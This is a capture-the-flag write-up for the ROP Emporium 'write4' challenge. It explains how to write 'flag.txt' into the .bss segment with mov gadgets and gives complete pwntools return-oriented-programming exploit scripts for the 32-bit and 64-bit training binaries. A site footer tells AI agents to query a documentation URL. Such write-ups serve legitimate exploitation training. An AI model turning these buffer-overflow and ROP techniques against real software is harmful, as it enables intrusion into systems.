# write4

## write4 32bit

### Solution

The string `"/bin/cat flag.txt"` is not present in the binary, so the method used in "split" won't work here.

We are given a function `print_file` and our task is to call `print_file("flag.txt")`. There is no `"flag.txt"` string in the binary either, so we have to input this string and store it somewhere, for example, the `.bss` segment.

As the instruction suggests, we should look for a gadget `mov [reg], reg`:

![ROPgadget](/files/-M_mThXwJo7A8yi5stbn)

The idea is:

1. Store the string `"flag"` in `ebp`.
2. Store the address of `bss` in `edi`.
3. Use the gadget `mov dword ptr [edi], ebp ; ret` to pass the string `flag` to the `.bss` segment.
4. Repeat step 1 to 3 to pass the string `".txt"` to `bss + 4`.
5. Call `print_file(bss)`

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("write432", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"offset: {offset}")

#--------ROP--------#

# ROPgadget --binary write432 --only "mov|ret"
# mov dword ptr [edi], ebp ; ret
mov_gadget = 0x08048543
# ROPgadget --binary write432 --only "pop|ret" | grep edi
pop_edi_ebp = 0x080485aa
print_file = elf.plt["print_file"]
bss = elf.bss()

payload = flat(
    b"A" * offset,

    # Step 1: pass "flag.txt"
    pop_edi_ebp, bss, "flag", # pass "flag"
    mov_gadget,
    pop_edi_ebp, bss + 4, ".txt", # pass ".txt"
    mov_gadget,

    # Step 2: call print_file("flag.txt")
    print_file,
    b"B" * 4, # ret addr for system
    bss, # arg for system
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```

## write4 64bit

### Solution

Again, the 64-bit case is even simpler. The idea is the same, except we can pass the string `"flag.txt"` in one round because we are dealing with 64-bit registers.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("write4", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"offset: {offset}")

#--------ROP--------#

# ROPgadget --binary write4 --only "mov|ret"
# mov qword ptr [r14], r15 ; ret
mov_gadget = 0x0000000000400628
# ROPgadget --binary write4 --only "pop|ret" | grep r14
pop_r14_r15 = 0x0000000000400690
print_file = elf.plt["print_file"]
# ROPgadget --binary write4 --only "pop|ret" | grep rdi
pop_rdi = 0x0000000000400693
ret = 0x4004e6
bss = elf.bss()

payload = flat(
    b"A" * offset,

    # Step 1: pass "flag.txt"
    pop_r14_r15, bss, "flag.txt", # pass "flag.txt"
    mov_gadget,

    # Step 2: call print_file("flag.txt")
    pop_rdi, bss,
    ret, print_file,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/rop-emporium/write4.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
